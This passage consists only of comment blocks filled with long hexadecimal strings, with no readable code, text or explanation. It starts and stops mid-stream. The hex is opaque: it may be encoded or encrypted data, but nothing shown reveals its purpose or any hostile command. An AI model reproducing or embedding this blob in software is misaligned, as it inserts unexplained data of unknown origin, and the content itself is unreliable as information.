e478cf11361bc0d84b648227d9db72979873d800ffcff65b5db996313cd73a1d2fc209280d8a11e83848f5cdd2d35e13b50bfee32b7f33e4bea75debd9c802dbed4299120ce2e523540b95c9ad82fc4f17dfc91f5d8bac221a616723548d21166c0a2ed83746caa87fee18f28dc0310206bc4b1d6c46dda6546422efd266efd0085a71e9e1e16e10edcda427eb9dd12753d8f1e3426aff3e36029d712f8c3629e2d4016ffdcad654a6306216a08e909ce7f184111b54a6af00d26d69b0f9f2207fac1dee4a0a268430b526d685ad194d8415beecc4e93ee23c37538848dce8c82a4dc4464d86bdfe51a14bf4eaf1d333449cf445ffa9019c2b83eb4c11914a598743f219a8718ab82e71048bfdee9350f3a288564bbd6ff582567bd76c447afcfc121b19cbfc6e53ce7839e55a5575f482209b47d909fecf9b31289eebeadf835dc7ac0d8c7572139cf2778f70be1852ae0cc0fef82608f5b3861f66d62c4b4978a6f9a3bc52f07537876fb68e1c8c7b864c42d419c9655f7e2755de65150868d33241684da29fb502d3e0abe804c497116f80c1ae74209cc0fc8ceb41a03a599a7d1106971e36e2761*/
/*67f5a13fc17575a4e196bcfe32312a15ac979b38f6eca1209f65556c59ac079172d19cb2326ab7c925c264e9a9ea50e3e78d85fcfd7b35b27c40cc1f0b0676c139ea22a5fcfcc9826784844d1fd1520e2b898ca65d67e2548d9cfc8e0a5775a03fdd98d11eef8ed9d0e0e70a5ab73d4712696509e78d880aff74c0b83062af080f7de282fc0cebef04bae4e4cdaccbd6b6f0513fd562c942518252ea6b94a9371e34d4022390913a29c07723f80946394449c15b256e06c7b6b783052405480f5aa07abcf14ff7fe3ab8b9a0e472898792938077b842e4793a2a1a4f8c15c9515af626fd8f58f9a822547660bd28fdb85bb731bda623c788031533a3d62b8b2f1dccd6aa663dcdfab1d19bd82b92ad24ce6269351dffd9df9f472f0033bd928b7c860ef45c1b6adc46d17cb6df5879198f364edb15b64a4ec68fb59b59e587538bf9bfad7cfed19c7d78bcc95a71a4537c49d459bb68f84a0c3a652fb98978328c13cff46214cc6bfc441ef95bf4124a756e622ca49cda50de9fccf88b6d74561d1560adec0cd006ead07225480eb893b08a2b6768fe771c0fa89be8c13ee7567e8bd0a3a7a8d36d5d3c681ebbc07bcacdd8ab52de3335de826a44978da8782c91e756cfd941da5e34383ed8840c8bb0440e45146c174eb84c53806d6c16869f225190c378851aa27a072bc1b347df502a2067858c69e78d9738da2c7a2c6d52b9e9f20ba0b5ff728bb8c9eb1a20cc56548a552b7f8e497dac75ade39bad1d52f027e1d640b70e8349f0fe48855e23b88eb6a519acd826b6968c960790ded6c320921757a0b1fc67ac1d45f781e812ecc5651f5d2e0462077c7fad00db57c1f583365ee199a54f1ec19890e05aa6278d4fcf65ce8bdd2f19a79b9ebfccc883f5f99b0e9e0be374bed98ec3459ed73fbe2a752b0b3f79b424aa60abbb8297bd835309fc4cf9616a273933e06326539b2cfd7fb30cdd49a226ddf477f3af29a23704844032494520969e02d58ded20f99db5298ceeeeea790623a311ed3e200a4c481b780428cb857f279ed117eb4e01612e444363fbea072f3e3d118d03acb29cbfc98f4b6872124ee27b95f4d42a147a8bcd6c6459212078e2b1d3bed1e97b4a1026182de0723eb04578fec36ba1b95f83f89b0bb3da0794d305a9fd070898a552054177f6a8e7830483c2f4b51d8f964b68de74fde1727af9ed1d34287c92089102aaa0d25a61651a185865d893d2b65dbf4ba8cc32c90c8774f4f8786fb070dea399b6f1f9f1c67a4a9685e601b9a9884dc82cd5e2dec1e4712f2b3fd3ef36966132500504f67cd0e7341f410b24cd1a1a1a850f84355a39a2a5d2e9817463d8483d89321cbcc06c2cb515ed1557d7c5f680de662fa8bdd07c86ffbd07263e73178b564897d7bea5dc79810783f7b1de112b7dfe6c3ef7de09ba7dfc937f85d63fa88d528a4c27887df2d42dffbb8e543658950fcfa147cd32b6e0ae0943f4c1fcc4429866925b7c2d503922ce3459f553eb852160551fb4ffb9b2ca753623679bd0141795d6a85a8779b8333b6ed4e5d76d735866a21bf6b48711ed828a0565951b76e686df954a5c2da419518e3084536cbe4bbde62b33c1801d86054225f5bf3e782b24d3718549f16f0dbd2be14c1c5bd02b2e7d2dda9d4f7dce6025e2f371c98ed14f2c29604d46b7de1527a7ab4fafcb0828d119086ac4dd783fdc3320482dfbe6a0f17e230abe5404c3767d512eb601426f1e83395c11ebd1abc9dbf07e28efc849cd51da0dc0ee32ec480792ecdf79b804860bb287f6989bf05a3df95a267f91d310154b5c9fb2ac288162a53aa4b19cf71b20b2c6d6b9f090d2edb470ba63eb76320ca32d4a5b8eb9af275454c9f92c2be13d24543491ededa8cf4f1a56a817c073e35267851ed99ba4c94318ef29e6cac71a3ccadcad8bd2c52af600883204597ae6cebb9f10a850bb5700f5e2729898b8ddcc3a565d8a6bde8470c874ea25c0c64d81ea0b82b0396cb95ab06905cd4bf1ef7fa8e6a9feff0eb5e7243fe7fd05267ee16a1402ad6748b6054397527646baa8e7ab053175c3003df7ac612a5a0e5b7b0cbb3678d46d3614b1aaa80e50cf990aba28a6502bffb27e5035b93cee8c5cbe21fcb41c42bb0a55dac308cc931b427988c1e74405522d2d04e4986468ec486f71afb21692c7abae7a952721872e48f307b0b967832dbc39c1be78345644e4d15d713a7a1c65c2912752ed0a5431b9a5660157c2f43cd05fc3619e6ea6a450fc620fea1536e3067ee12ab89da4e7852015ae019aeb37ce98c2c30064ac7ad6a6d1b1dfd4511c76ca057ac3265ad2ec9a01a8dc826c87e84f05eb27d102d123df4f72beff9ae9c319b1d81765d8b9f9d46808be33ae2dad2ea778771d34c6fbd5e1492e715585d5d69e26a6212dbd38e29d61c08a8e6f95efdf9cb1ecd8fd3a31f4ce9b5033160124bda8abec4891b0e85253a081fc00b7bc0aaf731589970dfe52e5c7810cb59d2caf5ad7f330493febfc46a105a0b0b82cfd5a9d0a690871b7ef005f4f0e484b28d236ef0b70d00f7b09019856e90bdc126a0f2b0c58db1172b01485d4dbc991ede76550965b09eeff84508e514decbcb6ed70b30e5f936ff05027dd8c789e775a375ec517dff0e0d9261ff9d0f6f12cf308be7f61ddbb6d470cc56f56c1d998fec4f869c179189779a9e765a99ed0bafde11de67790e71f7a13b18d125fca8099fa7dc56fa282e0aa383fe5adc902903a3d1df149d5f120ff761c9a427022c0c0c9fd3927bcf4ae7259daac6e1ef4fce971f730b2fbc3c41b9bacff2ac47e0e68*/
/*f82318f24679c10d6d659d34e10cfe8ae6b6fd6cf9b65d41b0b7148aaabc77fe3a0d879508e4d70a4dfe5a4d5f6d35e75ec622727d84ab1570b959552accc329d7339ed47f89f971da4d2f30ad7074287ba3c65a72a1b344a37f6b7a101339b6fd0cf323a709c681b3102fd87fe1180f646a512b9ae6a2aa3e86264947608e38080eae8e2f2957908a1a5c9759fb1011c59312f24e31da9d51e0dca2cf21616bd5a839449c47af65027f33a1ac3979c00ae36b56ed57d5ef1bed3bc48358d3af7136567dd79af54ac5efd1ac6b1a7992f222aaa1c7902e246f1a392188a5c26b2505b1b4a0fb3e4dd3cf9f2bb1665efc8c1f03274d88ab228604050071b9c8e057895fafac22ff225effa3c43b7270f6363c23010d1d79e8a4f7ec2f23128b9ed0aac71bf5141d9027d305f1bda5c43b25d97cef9a6e5273c75eaa242e209581906a034ad5b019ecf32091a80551346f0bda835b2085e17cb2dbc2409e5f3a1e4b4d8dc4699c82478a139331e4e4a1597724669b0e3a5d4d50adaad195d673adf140929becd82a8c4af1b838c9c55952a70621ccec63048ea2ba0451da8580da6f39e387686c90a9fbc6891165c5b16bc543ed6fe13fea7baa3e6422c5f438a1e151e58088f044fbaaffac51e9d045163253e9de0d68d482cf133fdb197354091462d7228f26dddc14b7bb7424ef02526b8525b303016db2bf2862c0c16cb8f644d4098c3f229e6119a50d6c9bc070d18ea25a03d76c90602a3bd41bec34c70a2cf05e86361520f74db2e79a3c068e0868622ecf6c42d42057dcaf8c44cf37cc55a1df97a9f1a36b0fd9ddcd2e956b455ed2aa27807d742f0395d5c431f16dcb275aa64bedfb7c1d778f98c282c9fec29072d6d7632615c2fe76af8ed76352e7d8ceec03b328140bd7f7900ca78a6c7441014d1afb7d84cb5030e6776d850bb200ae0743939ad0fe4516d50c54da8d14f4a6730ba0e69d9957996c9a6219c7dbd939e81fbab9105f99e7e473d7af20cade0ee76b630df7204b9f83c091ce5be46fd91b3194c10390eecd3cb15fca525d03803653c01a48d46d370e5e7e7c3382f26b28c583c9121934b1960f52b02fbe4ac8a5c101ecec9e144f4d20799badf1bea44c9f28e7d0fae4a296816c4783cce0e7875f4a8866c3f7cb07f2aff9d5cc2f2f9dbcce1d832309d3a3afbbd0a82165561cea80c191c7d2a215896ae30720a4c19b6b29fc5129c8d3fc74a2131a4f3cad79205631e8a0b11db95fab028700ad3ddc2ae2af7def433a5dd9bb730d8fd232b27337b751a4f42f89e30c398afdb1230d156a56f124c2ffd92efdfb3abb1222636fcc1c19ba6b9b82920a31f6277c3e79f0bf4a875ecdf6666fa4ef8200318386986b0e9d89b084d0b6ab1001f02bd38a6616f0e42b8c6bfcfd287fd9a33270a7077b623a95fb1b2458bd279406c579dd4dbfa5fa31fb7429087cae208359c93ef6417de6797620736c6ecaf6a9028a7eebf45e456fba3a31ad9fdc1b0337f13f841ae545c1e7c6c6c40a592121076e58445afa8fd90008223dec10fc598ba017ceaaabd772cc211355c5498d130f9412bcda48ac8f6bcec08d585d0c878119eceb6b2c1e1e5ce4574adcfe8fc9626a29daa80b93998d1f73ba3513f10419a898219172bcf7c52a952402babd5147ad1a1696a7b4fa8db01850a8407c029e0a5778cac509ab282de7686a3aabc525df40577f61d5bef2a85301782480093246c8d79e6b13e43b71731b332f8498a75a3834232b2d503129f83cd594b3ad78e23fe0db65a67e238c788bd0bf8ebcdcab747a96776e1016a191dcfffbdc0d583ab438a533fc8d960b7496d76ef81d1d88fb2422bab8e9cf721691cdbca36c62220f56a15b5509cd4179ec9cef3668017361369faa4578c2b5cd463f1067f7dfeebde15a3cadc35f708f7b51baeb77ad04868c3d471ab03d574269f14e5a8627be70e9c2842e77007bca2c4d52726a24ac4f921b2cf1e561af038746bd3359b263392903db68c7f206f24f080923fb30231e348e813249d58a46cce84612f9b3a4a3df6267773d0d810f35f30226faf8976624bc322fed87872b335ef27824ce2bd27ef4e27156ee9b69ca30d685fb80632c0ab529e752e02907c4d5a709e215b1efba6870955015915d56c4f72606f55506ec3ea8a6e90d6f0efda01d09a1d5d1c36532944f214b53cd49d6337cffdb4f157406f65b8275b00e13ec299d0aad42d3dacf71f23703cbc37867914b0d6891c57c07fd50ce9ab546a77a568894ab407b582984d9c51978c1feca9e8063ab5cf23892746d1af6c028bd70a1be4d8e93b2f64eee013f336ad28546b293e77aa4f020849485d28f473333aefd2cde6f6fc24f086d47fe341646dab33cc46eecda0b5945b947822d518907e2895b9f3f488d9a5d4eb4a1accdf67707373b13514a7212d67f7eb6cbf13a64c31919a8fb8ecdcf2d9d7f0c768f958e0296e4f52d5fe05a2f9812f9dac679da72da85ce1f1c571ec53e442ac7dc42300ba9473d8ea6e4273bae1f22a552e3c2dfbeb77256d2d6f5ac7b328875b1af06a6dcd39851480683d8b61301339b2b30f2f2da8df9778fb94fccc00ca1a267a840f3aff406e20f6d096180d0c6328d0063e6e6239158967ef371f0a87352d0a39eabf92bad866c06da2ca1f084fe5aae28bfb57f911d12d3c2e28609adfa21c9a457bf9bbc924972ed96b2c6775184d653260af7351b016764696a84613e1025cb6cc79b65ae329801a76ede53dabb52e297df92d2342d044eed43a605c6b131ed293dda7a8cccd3bf459dbaede1d35345db0420*/
/*5beab588817cb8a6fbc14f9c6406ca8b481f71ce4ab8533fa2a79d61cb8ebea1eaab8c2a1aeab9adcbf99fb5bdae1a4ae9e381ca6f757044cd15bf05974ca85b4db5e46a2412d26992a9034482e931265c70664a27bd79501c197a131ee67703eb2fe0b4fc129ebdd6fa9640537ddd7017e6736353a918d6b87f8b55c93fa2ef5a782aa2604be0c69a9347e17c29e75574588935fd5546ee0c9b18ebea1ebf75e7d97486092df6433b3c3424116a7ef1b2b45259de70ae6b1e3971b8dbfb33857d94f928b0ba5263b908af3368bdf2736b966ae64777a00fbe5c8214a17cfe87d23d39cdf815a52b3a5162ea938c57a5efb6e56b08d96e3d8d150fe02cf375b25e8d7d1bc69aaa3ca75cc8111719e35ab6b8b2bab59fbec1a95843cffacdf3e779f7203add4054d5ca68dd152da7699706c4f6533652189ba0e8a01fb95cc18e54f970516508482c27e60062e6c042fe8a4493acb0eecc0e4eac8fbaae9e7b54d05557c442cbd06d795c8964d7f014cac27e3d039e54dc0a35a6b80562707d79d94a7fc99c55354a136c648e7331fe1a9fe1101dfba322a6830c1f986769bd46ade907d53b485d41c85f95dc55a8cb7c6fa5b0d185fa89c36ea1c84b7fb0875cdb1dd2e3ea130d284bedbfe3691b2d89ce42b7c188e937c044e98833bc713947e9b7c4745c7b485af62e45012f649fd057792cb0a897faf51388b22f7424a4ff75dbbcdb8ed9c9bb695e09dc46df483dfa2864e892df3c4d40e5a3b959d642a0022513b214ff17e9f99b512c2fbebc8702dcf322e56af017e822608269a55475900a77f8fb6583b31e3202dcc5fae2bc76d08d963eb2cb7c71d720395bba56843d49f4cfb02cca4c2e58afa017f3718affa6d0fe762d1d9e4dc1f7f892e9e7db74bc00fdc142260c30e7eff0b12210a8504a8535896d5d6e0308a945ecb41ea3c47adc0743b0a2bf4df7c0b63eb7127240f902e66b8c0efdb5b77ba05bc31e113479e0cd82294ee854f9f4c83edbf4f466a70a1806d1eb794081d9a6710eb11ee5005c775da17df930ea2a8258c085efc7332e345943c9b4bfe92b31cf17db41c18f1b5b558d5d23f7e830ed2637d95f6ced87107f821ef414a14c0043634134c65e347317f93bf89e56aeba4f47672ab2ddb560c15ea434564f3bb99ff8cc308dc99d68c42aca4c50b65450c991c5d83879fcf07a5beab408e5e1881c0fccd81f393fda1c41bf29f659eb39b77f446534bbaed2853b7f1623b9ab587cbbbbbb31da1f6916d9d34ad27a7a7177ae5e97783476e2962d3a4262b3d4a13378cd970bd6eec184f8ded0a7d2053b910542393f78143e55e3b5f9ed010407c60baaa1350c66cf0bab3f7f00d38173523bd85d4a6508bf38fe3826d8d0ce7c636367caaa7f61a0e3fd42700ae85605741d12d3d63ca7a2a1f77067c4f9d214a2d9330928437d700ae9d4e0194780de695416191d72fa95d941338550ee79265737372495cc4463184bf31ddc650a60b9da5bdb60638bac6ca57094df3bf6f2b5688f4c37d729fad0719ec4600b3f1e0dc61abf8adf580a45e8a7295b5a5db66e3a1811a177a1a58cfa5265958e257e940b0ef86b08f13e5a7aa0a95b23b04b6039a67a99276dddcda40b44a633b704097e8ee1af900118dace9b911a09e057fb4aeb8c54286fbdbf8a9629708f2dd3e1170737f3757c7120240a4ddaa8a58544ab8b7212fd2ba507eab6027ccf05755d774eb85702b22a8c7fd480ceb5c5d4b26beff9cb3aa8a03af9f83ad5682fc46c6f405a88ce9452e3cc42ff81ce5559fdcc42806f7cb259a8dcbfc1e3bc17aa2429fade787217fae7732b5ba45d996aa284702c4fa875a1db65b256fece564b48268b9f7317497c54859d5d78fdbf12934c7229f0bdf61343637625cbdbb797ea3848489a9fa2126161a6da374b3a863acf77c64d59af5d700128e75300452fd2bc85ec20ea2a5a477642a06105954f3908f3deed6bab254b5205a65549c5dc1ae3c9c684e308aae87606db75d8f626891d2fa4e868b1286a625a13c3871e60346956855938ea4929e2bd426eb64a3cb6f89fca27260cc23c85753c46965088fd53c47bdabc31a645cac85c81a7a8574bebd5ef00077032bf3e7fe8adc0d68b1519ab1d884404be408ca0360981d363f933a18c93f45b9ed070a069403844abbbe380962d3770caec6ca89bf56f96b4dc3e7c8eb78d859c551a7d6666192d272a1cb85c21923de8398ff6c6830095aab8869005de50976491930edde7ab510240e504a294e2e2cfd10e29ed6c2b509490acea574e8d9f173407885669c74fc874f7a97c22b879ed8f40e6e04dca22358916b1efbe26d713cc3c786f77b88fcbece2bc93c65a4da894b5aad146ee26aaa810cb2b97522ee95c7a42c82b40ccc122539b5da11d4534bf7b69693510a0a8f81e18acc447d1b6927e8187d3a169847eacb8a0f249996ffd1cf347012e237fa96481c553d0cb8a67c4c2d3f727303e1aba84b84f19dcf035d29c2045c008f5a6751ef049e09615333fca149fcd697b41b8f1267cabe5e14d34f7a0950a6eb157664b38362d99ed2812640e83b828df214acc7871fce9b3a90397392b721e2b3034797f88a54235ae3f6f25dfbfbdeca5bff067d12cf453bde732cfe2152884b85b5d62d715f6eed86e0bdc8756704bb8b4b6ccec9620ca7efa27e370ef048763a1a9373d5c2f0e72eb18e9c2b10fb1911f3bbe762126cca04492b458fda050c4c49c3b5629cd5367b17f90b01afb80ee7e3160971f7c7a3cb7abd29939475b5f8d551afccc1350997865be766983d012082cea*/
/*1a6280a1d9dafee6450d8203f35811409c708a0a6ffa911a402af94c023fe1957fcfbf2a0f78362dcfbe51f78d09e0d108e00e4d39d98090cf92b009f813dc4e744e5b8acb44dfde3e91c21faac113ca1b589199c558bb2f4dafe7d48572b39ac9a9827ccaf80a1457f31d98c254d2ef8a1abaddcd1cd1d9ee08fb12481adb2ba8ac23eea47dae5465b536bec883aac212e6d5e42d65f9fdcdd154d795e26295d9fd8d35cf1d9a45947b1a98c227e4222ee4f7b34b36eb4d1c65e0fb2e25f386819f6d31c2e3680c84b2e8e49af5ac9592cbcf0f05b9b03f95363bffec2cdbb3b4932aa05de9343129a90a3d509e3bab9f966fc07a4e12d8b948bfc1d63df8a059f6c905391c819a2fc71b1d578575ebffc32501fc686283116af981073485c8c63daf783f2b4ebd80e51d3d4a1efc62a0493c55c57f8048c54e24d85e26ce8ed2d19b8ff1e3a6493ee448011d8dd0a1f80328cc4010a5a9aa45f6f8f2167842dbf4eb5e15aefd866199f66e785e068232b2810e0f15f18004431b4eb63ce3ed018a7dfc3449a6d6011f469238bfeef3c6ac9ab4e8ad065df125d28f8cc4052a03ae8aa593c6f69cc8d1d7d1738f35f3174620f8dd7926d7165bb9388c964c477325b447cb036267a6353664352d8a3b85ce007953f1245d7aefc8f10e48f4492065897e708cc8cc9321b042d8cf8294170181276f2b5dabee67b3d413af813662d57e09f965471418a0e8e53781daf1a4ec8c730f562899b25756060bb1d1fb028fe271877cc149a4fe668e93751adba861d6b2c6059dcc2d99358dacde2488f7e642ab1f6394ef12cbe38050bde0afcf621cbe28ec2bc90106140bec11db2616c146b38c54c8ab2b2e170f52c7fc2038aa3a0beecbe7987b6ed5590ff312fd5ca7154e93a3ac93f617867d19210962c4a57002420c2abbdefaf74dee3728cb7c28c6c6f63acb02e173f09c6ab90c546d3a550607dbadc9e264fb3ef41061ec39cb0defb29212a407c99eb35b014126820a2383e8b4748351ad769169d9b4bbe79c3591ec1cc5f05e6055af3f33cc922241b607d94c40b7ecf04cb725004d838c507dfc9f2af101f5e20fc35af0cc36009e67ddb3b4535d68b4b043f56386369113a5cb75cc23b8fc3437eff1a97f2bd157b078694f537c1cfb29e873402a9308bee5e38da3d85fa01c880b42ec3b556aed2af508e751a2b519dd1bde3754267249491692cd0589db6292067f0c4999adcf7e8c99a3e07ecd25b0ca969030189f5227294affd0dfb0dc35b4bd0387b600a2aaf5f8033bccd2f1286163505aee2664b455f0ca72ad90e06a47f97d03f490778d1cefa983359d4ed4691a356a03db960a79448cbddfc7144f6e9bcae6c3622d1b0c9b2b5697cd2b9b00e1f908f1573a93af377b9c77483a76670508dc0ae2dc8b2046a0568fa4e533c8e6722aa212efcddf4e58781e4f2581f178f350e413ac2d3410e1488e54678eb768de243050289f1052737ee182848377f3e6a434639c36a2a1bdd6d1baa007e51bd92e4e58dd9e62f016da92fd9611c79d2cb5d6902787f2cd0bb12b2c4c8879bbc685e9f4e250f819701e0bdfcc93363ec9f0e68946c0c445bac11f21a1b1fa633c82722202062d13520884fd501190021d4423605f6b70acffa7db355df7b80d8d4eb2ae6cc41b23ae019e0b1be62fc6ce5045e0edb0f8945b846912b64bba8642ed88f6d0af0bdd3a91c029c1af36a6fe312357f22e223a95a4abb6cb6f35324e4ba62c236c0a95585115182fa36981cc7e4a6f4034d389709fa9d2b356462dde88ddd251db6bc2b31552c864b6371725bfe23d7741e0364a0938fe77938cb54b917c64a736c940a62ac40a4418833109f472ea272f177879613f0ec5e6e96d3f2e98a0425096c4b1fe55cdd02535f98775ec0f7bb6949debe7d4ecf41e4d930abc0551d128633cb53253ec1167c8262feef965c28871f28fdf4c69bf8e77013cae04db83269e4416222d41cf879241584235af4618dda56c3fce3e4ac5969c3eb5a094017ecfbdaf41c14e402541b68ee16b965f90244a29b62e4527ec590d8d0ba98231087253c8886e9b945be246114ce64e4fbfe45d06504d73c00e50ed23eac8623917d844b174128c9297757743b638242efcf4ae771a53b4797e48d2a58941f9d818f2a4e348df385b9124c38804dd4bd83ec3cb42495ec031a1740039f3aa0c8d63482a6b245c6f57ee38ce1c46bc866d85b8e52bec31e79807b34e745e1efe4736bce496058e3f4c4aeca19c8bf915bab135b4ca2d9340843baf5577bd53b70979d362659028771e2fd5d99bfd6dd0887320384ef750d75bae90431dbbdacd89b7a19a652a82ee506d0b204a77f4cdd7c7f24ff35c97fea7630f4d2c2883d02f463bab5229d934bd2c701f65610c87efa1e5f94e39b239c23b865d875935238079722c0582420c6b3ae834bd60aae12fae5b8b3d85df41d13fd484b47a6f505710b6f5eaa7b78d19cb506380a966d0b15aad6080d6025c1d6a30bda0a6fd9048f6f924caf4c1f95070c07886f99bc53f5be7e821f840b0a3267e6c6da4780095388d3f546aa9246697bf3f8a6efdcfba6310b56eee9b8e6846ae5591ac97f7943ce8273e2f17f321f19a8591cc8114e7dc705c6cb4b10904c2b86c937acd680faf7e1e4ba684916dbf4aa7dc7c59cac5a7bed9bb21a1eabe90924231960ac2048c61d5b8dce9e713cfff51d8926da6ee3ba12bd45ffc3b8c0bffe1a61777c6d9e789f0afecedd121acc0f7fa6a7c3eefd34d63f7ae9bd73e7ddcbaec0a396134146a0d2e5de4262c8ded1d8c5939*/
/*711bd427f6d6380350b311d90f1d76d64a21e9e5d0280ec4a7dd772494de7adb176014d6464b03953680aa9858a28110d96f8828fcaf80a13d42ffcd84dc245541551ae32de6d9437cb68e4b5db9242ab4737e374d62172469f115d7991a3216f7150e264d5f2899deea8d13b2b444494ea6df3c2805e614e55963874763f3582b968fdea089bb9aa72c999d4350dbce542961bf700937f67dd6f1424d323da2b2ef9fd9cea689490a967861d4aa52add09035f88dab22d8368128690f1eb261af895ab8b01d9e19a71be3771d656ed056e0a6cbd09babeb62dd5f944bf71379bd1691ecbdab8633459fa474de170e54fb212591b7e833bb7ffb026ec88a097fbaf85401f7a30cf01fcac7f44bc268f1a5990050cf9e3cba8173dcb859585d9f4b52564cb679efe08b53963f1340700bb2ec64a1936927a441c511df12861ac591e2b62238794230fb4dbd66a3c59d99f6301d53b7aec5f49a47f0bb2e361d473d3a7cca07aeaef6701db972a8feaed29bf9b9f5a1968fa0baa51f58d284f85d3e49c4e072a0c1250cce0acbdd3174dc9055ab452e265e16f4f77497cb4ba60be58bc529ce7181a1757aefb276a3ac0763faa343c1a4e1fdd08eaed432d709ca40036f3ce12235f628258f9806f7da872b3f30d3a95790f9d601ec09466c3b3e8635f3cc22bdce6bf3aad08c3589fd6157811c13116a228b8e7d5246781fe96d94be4fadfdb4e566ca6c8da089e917d8bf6e23ed98f3fd8e829b63c4933e42a1ba9f5f550c74b0b99059126bea1637bfc89f1a1a675da7dac5dac171ce633fc017e9c9f208ee71b50b8107855637fbd64e66dfa136504bb74c9cce9a6308bd9eb3c16449cbeda8891e89c96d45719f6a5625859f10a70c1c58398d523099ebe95e2816329b7e744eb08c2d96d7bd5b05d9d6b66b704fef0febf59dd65bfb30fb711974cce87e082f47a9e74dab565c339bc05a4db535b70811d37a1173f0807ab519df2718f5bc68d80359dab376f3da97caac0a2722956b2b5939ed6a390b98b0ac56ff9bf92c9fbc990e3c00f08caf021c2f26c5c53349727b625984d24422cad1d3cecb001159a29ecc42e686688205376b34672a48144c7cce8cb78594ee69489f49ea2385006483157f884e90a5e17ba7b0d684f0084984e950feb7d3eb0713d5c255ecbf19c3a4eca2ef4c5cf1183c24fd06e9106b3db552c42851bb94b377b8cfa61568422bfddfbdd278691700676906f0b8ba1baee1fb8644870556f742979c65662654c1156a438a48cdfcb810895fe3a35eaa4ceb79ec3234c24c513dd3f5e12c2ab01c4d326e560de6e5d47e4ef5064338cb9537d0ef8e89e2ddd80f133210448a422a01a7a441430de6e30544b3b7427a9f7ddfbf62146f8fb9119fe05db7a51953150f00055d52275b8a133005892be7edd3decd89893f9418702a37700acb4006dc870637dd5ac4cbeeeafb6afed4eebae46ddce64a71735f1cd1c42cb3ca6d348885486197cc61b8d6c148cf4e9f8a63b948309e9fb3a3206239335de717fda1ce541c7030f44b5d3c8b1e13335ed1843b11d1e1c45b0367d4243c8d9ba8aae4e2ee216f09154bdde26791a8bbdd6c501bb5b586ec4621dcabbd09594ce8c9dfe0e5d49751ed73b85be1d19ff01bae76e8e42d6a29a63a1f0edfe73b40d8b8d83b7f14d77d53ea17cc41518f4bc6e03f402625e8c62c4a9752a571731f6d74864c662b24a6c3c777b3286975720d1fa217c898879421b1ccd9fcbc545a139dec5f8b2c3b0efdf5e59cacd018b4d6f2baedda497858c10b102dc9122b2f35ce6a35941843d38549e60ab92c0272b11d14a698afe6e23f38c2692a93ac070e3a5dab57bee4697f403b05e7aac4866047e6cffe2b5b6eecf43783fa7ddc3449d89d08f7de6fc191b2b99a8808fd18cbecdd2830529d49c777ee96134bc393373410dba47e379408d8129d3de9eaa9ad331ffdaa8cbdbb6c0fb7dd2723f97bd6a944411820affb9230b5bf1f301da68e1b7272b4a8f11a0b1ea170f6af195b626e6c6c78be0dfea6e121c190bc6e06738a9220c8a383a73ab3bb774dffb2d10d26ead3f738b0d82851cad6b20eba997901f9d98b06a68718de3e955290e7dd986005b92a08ae9cb59a6fee0d2a05d104bd3144021e15dd52e54a02d5c9d9dce34c36a1b90a318cabac49ab2de7beb5e6a6485fbe439045e77fa9db18977c43e21b6a763ead8046f44935c625bbdf9c80e47ef5e8c8a6b5f6431c281d2917f4a113b1e1149a6811bba0cd6650d92cdda74e4ec99f1cbf364ec7e7962e30d7bbc2b4acef86adb940583aad8dfedb66ad824205e75b66cea9de1e8dca4daefc82e17045a201d4b07d488f91bbe4191d03523cd2dacbfccc5c3ded04ca9efad4b7cc98356379959af80d4e6ca9b8e63ae355c7ca876b51b1b47a13c3988fc738ee1ae553664083fd1b82c4a67bc2eda5ee36ba75175fd263ba42413d3fbbbd7b17ab5c6a824b2c9c3f90908b9cb58a74d72021787ab42122c5377de82dd3518981e9deae3d35476c19e1b7b44c9d01dd3103435d33c4127175ddc885e7c5112b98be2595cda04cdb0b7c100f52f6a809d2950c3b9cdb23d7d29dcc4a2363bc10738af30d089e869bca4c2e2d84487c89f41485eea803dbb7ad46ce557dc585e77892483148dabd911336eb154365454b38edd613776b2e3e02e838a3fc9f30a3e5cfc33b148c04f4ef9d81989ac61fbf83a3e2fc2351bcdba45e2ec3425d8f81d6dd3f6d755cb500c6ca9b411d144941a38220587e2bf9a80cbeaec3f8c0d9eeb59cadb5b3b90a9fd5bb51ef*/
/*536bf101f451c77c47a25db3f90a68bdeb8b11b6b9cee0426d4b83317f0fb9b7401be1556a4287eb224960de0d893b0a397021218ed84dff5170ef4ce6a4796d201fae82a68b7be597b5cb5e6226dfddd18eb4bd1085e5b261e950561124809eef7d67b7a8deec1c482e545e0d6f6d72cff085b123afef54716a9e3ea6956fb95c74d4bf939d6cf06380bc34532042e3c987775ee0856d2f47859a9c811e2aaef191d09c2ba5627be51c6d74536a56fadada113c973599af957001af8ace4ecd27abe6f2a4c1006f1676bff36a32fd1eb47b27739010ebc5b0a24d0c019d58be06071763e05c143ecad0d2697385d55df2c968c83e8226ad5850c4c0c62b37248655b54fd445e88d02c69b54c2cb0d96beb3ef660b0e95bb1f5bd1bdfd2ba7a7386a1239cf9d31414321c27f95b1b0ea0e50e355016e149fcf182b2cdc422db79b702548af15f6d1644087462f930178f71d25a156aabd3dc77b25d4eb598f6fcb4232796401eef06705f008addc7db7cb74303b8ee92440a9ef26435423ea8cdc30b08cb60aee2fa204fc24a55fb65b50f03d3f62d6c1b224823b49b6f278fb010ab2f3172dcbc4c68e7899084b561c81a8a45844e38c722523406d1e7f2fc7a65246ddb5ff8bbd69bdd33599a4ca60b3a12a106e95d80cd87c3035490f2c68e3b79a76ee7b5280ea681d7aa4b0b954758ca884acc92f88f33f17996c20ee14564021f1f5cb74ad27d7e59d39cac4baf5f0125f0cb0cfcd7f086fdd6090ad6bd1d03ad8b2e641dc82db563860ae23885d7ce830abf9908579c24210d0fefe6703b1065f8436aaaa153f3889fde26e7b8b328830ba6d80d5507bbfab5a05951401c45a4242e8afbfe2b537e350a8ad1a66ee37a8750411bbd28f440ff5e107f4152600460cca0957aa558cb791d2b410412865d24cf51986b5d42ff23ece52b5cb5076533ee5917a0a2aff45f8e859fdf8ff0d98021fe2bb67c930f41f56f8e2c466e5ac187537e7c91b2957df43d0b112bffe5d71d3257c19aae6067da01c0934ceb88ac54136adf41ec3a0f48ba703e9ce2291c76a7b6c579e232dafd94b71cb7240faebc60dfb0a6dd631e6b946159b0622cead7dbf828c9d7a45d94c50f0f7e7bed7f72210386d06f7428f9f7a86ecd02f5e49205668bc60d8b280a0a91c4617f3547a1e43c854e3c413d8903fb5c7451af749162deaac6fc854e690440ab194b04675c77d71bb3de832c2d63f5ec9326f752eee2a7bf9811a74315dc31b87886761b1a420ab38e55cad5ac7468f2a0acf6618eb718b334c5dd54c8df998c1f4d3c7194da7a52221f2dde817e082bc2f382b533796f1f1d303cc91c1cb61dcb96ad66c7747eb0d1eed85f59ecfa8208364be953facdbebbd70c7507c39097723ca346ec1c65f9a